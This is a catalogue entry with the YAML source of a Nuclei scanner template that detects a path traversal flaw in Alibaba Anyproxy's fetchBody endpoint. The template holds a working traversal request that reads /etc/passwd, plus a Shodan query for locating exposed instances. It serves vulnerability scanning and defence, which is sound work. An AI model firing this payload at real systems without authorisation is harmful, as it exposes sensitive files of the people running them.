alibaba-anyproxy-lfi: Alibaba Anyproxy fetchBody File - Path Traversal
- Template: alibaba-anyproxy-lfi
- Name: Alibaba Anyproxy fetchBody File - Path Traversal
- Description: Alibaba Anyproxy is vulnerable to Path Traversal.
- Severity: high
- Authors: DhiyaneshDk
- Tags: alibaba, anyproxy, lfi, vuln
- References: https://github.com/alibaba/anyproxy/issues/391, https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Alibaba%20AnyProxy%20fetchBody%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
- Verified: yes
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/alibaba-anyproxy-lfi.yaml
- Digest: 4b0a00483046022100a586bd6b24c2acd77cf1fc53e174815cc088430c3f220b06913c9cb45bf31a150221008cc46b4761b6a87285782c3b624f10f62430e1b1dd1e504d3cfed641182fa537
- Created at: 2023-07-27T18:43:34Z
- Updated at: 2026-04-14T14:09:18Z
- Age in days: 1216
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/alibaba-anyproxy-lfi.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation
Classification
- Cwe: CWE-23, CWE-73
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Max-request: 1
- Shodan-query: html:"anyproxy"
- Verified: yes
Labels
- Name: Alibaba Anyproxy - Path Traversal
- Impact: Attackers can read arbitrary files from the system, potentially exposing sensitive information.
- Remediation: Update to the latest version of Alibaba Anyproxy.
- Vulnerability type: path_traversal
- Vulnerability impact: file_system_read, information_disclosure
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: alibaba-anyproxy-lfi
info:
name: Alibaba Anyproxy fetchBody File - Path Traversal
author: DhiyaneshDk
severity: high
description: Alibaba Anyproxy is vulnerable to Path Traversal.
reference:
- https://github.com/alibaba/anyproxy/issues/391
classification:
cwe-id: CWE-23,CWE-73
metadata:
verified: true
max-request: 1
shodan-query: html:"anyproxy"
tags: alibaba,anyproxy,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/fetchBody?id=1/../../../../../../../../etc/passwd"
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- contains(body, '\"id\":')
- status_code == 200
condition: and
digest: 4b0a00483046022100a586bd6b24c2acd77cf1fc53e174815cc088430c3f220b06913c9cb45bf31a150221008cc46b4761b6a87285782c3b624f10f62430e1b1dd1e504d3cfed641182fa537:922c64590222798bb761d5b6d8e72950
```